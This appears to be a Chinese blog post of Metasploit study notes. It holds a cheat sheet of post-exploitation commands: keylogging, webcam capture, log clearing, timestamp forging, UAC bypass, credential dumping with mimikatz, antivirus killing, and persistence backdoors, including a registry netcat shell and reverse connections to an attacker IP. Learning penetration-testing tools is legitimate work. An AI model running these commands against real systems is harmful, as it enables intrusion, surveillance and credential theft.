Metasploit基础学习

177 阅读9分钟

MSF基础认知

体系框架

image.png

Metasploit 文件系统

下载地址 www.metasploit.com/download

image.png

data:Metasploit使用的可编辑文件
documentation:为框架提供文档
external: 源代码和第三方库
lib:框架代码库的'肉'
modules:实际的MSF模块
plugins:可以在运行时加载的插件
scripts:Meterpreter和其他脚本
tools:各种有用的命令行工具

核心文件包括 data、modules、scripts、tools、plugins

  • data,该文件里常用的功能在wordlists里面

image.png

  • modules,msf核心文件
auxiliary 漏洞辅助模块一般是没有攻击载荷的漏洞攻击
encoders  码器模块
evasion   反杀模块
exploits  渗透攻击模块
nops      空指令模块
payloads  漏洞负载模块

image.png

  • scripts,脚本

image.png

  • tools,工具

image.png

  • plugins,插件

image.png

后渗透常见命令

系统命令

kali->windows

    1. 基本系统命令
sessions 
    -i 进入会话
    -k 杀死会话
background 将当前会话放置后台
run        执行已有的模块,输入run后按两下tab,列出已有的脚本
info       查看已有模块信息
getuid     查看权限
getpid     获取当前进程的pid
sysinfo    查看目标机系统信息
ps         查看当前活跃进程
kill       杀死进程
idletime   查看目标机闲置时间
reboot     重启
shutdown   关机
shell      进入目标机cmd shell
    1. 开启键盘/鼠标
uictl [enable/disable] [keyboard/mouse/all] 开启或禁止键盘/鼠标
uictl disable mouse 禁用鼠标
uictl disable keyboard 禁用键盘
uictl enable mouse 开启鼠标
uictl enable keyboard 开启键盘
    1. 摄像头命令
webcam_list   查看摄像头
webcam_snap   通过摄像头拍照
webcam_stream 通过摄像头开启视频
    1. 执行文件
execute -H -i -f cmd.exe 创建新进程 cmd.exe -H 不可见 -i 交互 -m 在内存中运行 
    1. 进程迁移 exporer
getpid  获取当前进程的pid
ps      查看当前活跃进程
migrate 将Meterpreter会话移植到指定pid值进程中
kill    杀死进程
    1. 清除日志
clearev 清除windows中的应用程序日志、系统日志、安全日志,需要管理员权限 system

文件命令

    1. 基础文件系统命令
getwd/pwd 查看当前工作目录
ls` `cd` `cat C://Users//dayu//Desktop//dayu.txt 查看文件内容
upload /root/Desktop/test-dayu.txt C://Users//dayu//Desktop 上传文件到目标机上
download C://Users//dayu//Desktop//dayu.txt /root/Desktop/  下载文件到本机上
edit C://Users//dayu//Desktop//1.txt 会进入编辑模式,编辑或创建文件,没有的话,会新建文件
rm C://Users//dayu//Desktop//1.txt 删除文件
mkdir lltest2 只能在当前目录下创建文件夹
rmdir lltest2 只能删除当前目录下文件夹
getlwd/lpwd 操作攻击者主机 查看当前目录
lcd /tmp 操作攻击者主机 切换目
  • 2.伪造时间戳
timestomp -v C:/phpStudy/manual.chm  查看时间戳 
timestomp C://2.txt -f C://1.txt     将1.txt的时间戳复制给2.txt
  • 3.搜索文件
search -f *dayu*.exe 全局搜索dayu.exe这个文件

网络命令

    1. 基本命令
ipconfig/ifconfig 查看网卡信息
netstat –ano      查看端口进程
arp               查看ARP信息
getproxy          查看代理信息
route             查看路由
    1. 端口转发
ortfwd add -l 6666 -p 3389 -r 127.0.0.1 将目标机的3389端口转发到本地6666端口
rdesktop 127.0.0.1:6666 kali远程桌面使用6666端口
    1. 添加路由
run autoroute -s 10.10.10.0/24 添加到目标环境网络
run autoroute –p 查看添加的路由

内网穿透必备!
run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24 扫描整个段存活主机
run auxiliary/scanner/portscan/tcp RHOSTS=10.10.10.2 PORTS=3389 检查IP是否开放3389
    1. Socks4a代理
msf > use auxiliary/server/socks4a
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run`

配置proxychains:
    vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080`  
最后proxychains 使用Socks4a代理访问工具或者浏览器即可!

信息收集

/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather
run post/windows/gather/checkvm 是否虚拟机
run post/linux/gather/checkvm   是否虚拟机
run post/windows/gather/forensics/enum_drives 查看分区
run post/windows/gather/enum_applications     获取安装软件信息
run post/windows/gather/dumplinks             获取最近的文件操作
run post/windows/gather/enum_ie               获取IE缓存
run post/windows/gather/enum_chrome           获取Chrome缓存
run post/windows/gather/enum_patches          补丁信息
run post/windows/gather/enum_domain           查找域控

提权

  • getsystem
1、getsystem 创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道
2、getsystem 产生一个进程,它创建一个命名管道并等待来自该服务的连接
3、Windows服务已启动,导致与命名管道建立连接
4、该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌
然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程,这里不是特别稳定
  • bypassuac
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask

use exploit/windows/local/bypassuac
set session 5
run

getsystem
getuid

大部分情况下直接使用`getsystem`是很难提权的,会提示管道内存问题、令牌问题、RPCSS变体等阻碍提权,但如果利用bypassuac返回新会话,就非常稳定提权

image.png

内核提权

可先利用`enum_patches`模块收集补丁信息,然后查找可用的exploits进行提权,需要退出当前连接
run post/windows/gather/enum_patches 查看补丁信息
use exploit/windows/.... 利用未打补丁的模块即可
set SESSION 5
exploit

远程桌面/截图

enumdesktops 查看可用的桌面
getdesktop   获取当前
meterpreter  关联的桌面
set_desktop  设置
meterpreter  关联的桌面 -h查看帮助
screenshot   截屏

use espia/espia 模块截屏 
然后输入screengrab
run vnc 使用vnc远程桌面连接
  • 1.enumdesktops image.png
  • 2.screenshot

image.png

  • 3.espia截图

image.png

meterpreter > use espia
meterpreter > screengrab
利用espia模块会自动打开截图的图片,screenshot不会自动打开,需要自行到tmp目录下打开!

开启rdp&添加用户

  • 1.getgui
run getgui -e 开启远程桌面
run getgui -u dayu1 -p 123456 添加用户
run getgui -f 9999 –e 3389端口转发到6661`
该方法创建用户不稳定

image.png

  • 2.enable_rdp
run post/windows/manage/enable_rdp 开启远程桌面
run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123456 添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=9998 将3389端口转发到9998

image.png

键盘记录

keyscan_start 开始键盘记录
keyscan_dump  导出记录数据
keyscan_stop  结束键盘记录
注意:导出记录的话要在keyscan_stop命令之前,不然结束了就无法导出了

image.png

sniffer抓包

use sniffer
sniffer_interfaces 查看网卡 
sniffer_start 2 选择网卡 开始抓包
sniffer_stats 2 查看状态 
sniffer_dump 2 /tmp/lltest.pcap 导出pcap数据包
sniffer_stop 2 停止抓包

image.png

注册表操作

  • 参数列表如下后面补充图片

注册表设置nc后门

upload /root/Desktop/nc64.exe C://Users//dayu//Desktop 上传nc,前面的是你要上传文件的位置
reg enumkey -k HKLM\software\microsoft\windows\currentversion\run 枚举run下的key
reg setval -k HKLM\software\microsoft\windows\currentversion\run -v lltest_nc -d 'C://Users//dayu//Desktop//nc.exe -Ldp 443 -e cmd.exe' 设置键值
reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v lltest_nc 查看键值
nc -v 192.168.0.142 443 连接

image.png

image.png

令牌操作

    1. 假冒令牌
use incognito 进入incognito模式
help incognito 查看帮助
list_tokens -u 查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM' 假冒SYSTEM token,或者用下面的
impersonate_token NT\ AUTHORITY\SYSTEM 不加单引号 需使用
execute -f cmd.exe -i –t  -t 使用假冒的token执行或者直接shell
rev2self 返回原始token`

image.png

  • 2. steal_token窃取令牌
teal_token 从指定进程中窃取token
先ps
drop_token #删除窃取的token`  
这种方法如果不是SYSTEM权限的话是无法窃取SYSTEM权限的,只能窃取相关的权限

image.png

关闭杀软

meterpreter> run killav 这个脚本要小心使用,可能导致目标机器蓝屏死机

image.png

密码抓取

    1. hashdump导出密码哈希
run hashdump 到处本地用户账号
run windows/gather/smart_hashdump 导出域内账号
smart_hashdump 可以配合 psExec模块进行哈希攻击
    1. 抓取自动登录的密码
run windows/gather/credentials/windows_autologin
    1. wiki模块使用
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。
creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码

kiwi_cmd sekurlsa::logonpasswords
这里将kiwi_cmd理解为mimikatz即可…通过mimikatz命令成功获得了明文密码…

后门植入

    1. persistence 启动项后门
run persistence –h 查看帮助
run persistence -X -i 5 -p 4444 -r 192.168.175.145 -X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip`
缺点是容易被杀毒软件查杀!,建议思路是:
`在C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本` `在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项`

image.png

  • 2. metsvc服务后门
run metsvc –h 查看帮助
run metsvc –A 自动安装后门
set payload windows/metsvc_bind_tcp
并把port设置31337端口即可...连接

扫描脚本

/usr/share/metasploit-framework/modules/auxiliary/scanner/ 在这个目录下是扫描脚本
use auxiliary/scanner/http/dir_scanneruse auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/oracle/oracle_login 常用的扫描脚本,枚举什么自己看文件名即可理解
Metasploit一些思路:  
1、漏扫模块编写自己的扫描仪  
2、MSF和Nessus联动合作,或进行各方面的漏扫等  
3、利用Metasploit写一个漏洞检查工具  
4、Metasploit开发利用源码写EXP  
5、开发web应用程序漏洞解决Dot Defender等  
6、嗅探、透视、隐身、无痕访问、爆破等等  
7、post开发等等都可以操作

参考学习

www.163.com/dy/article/…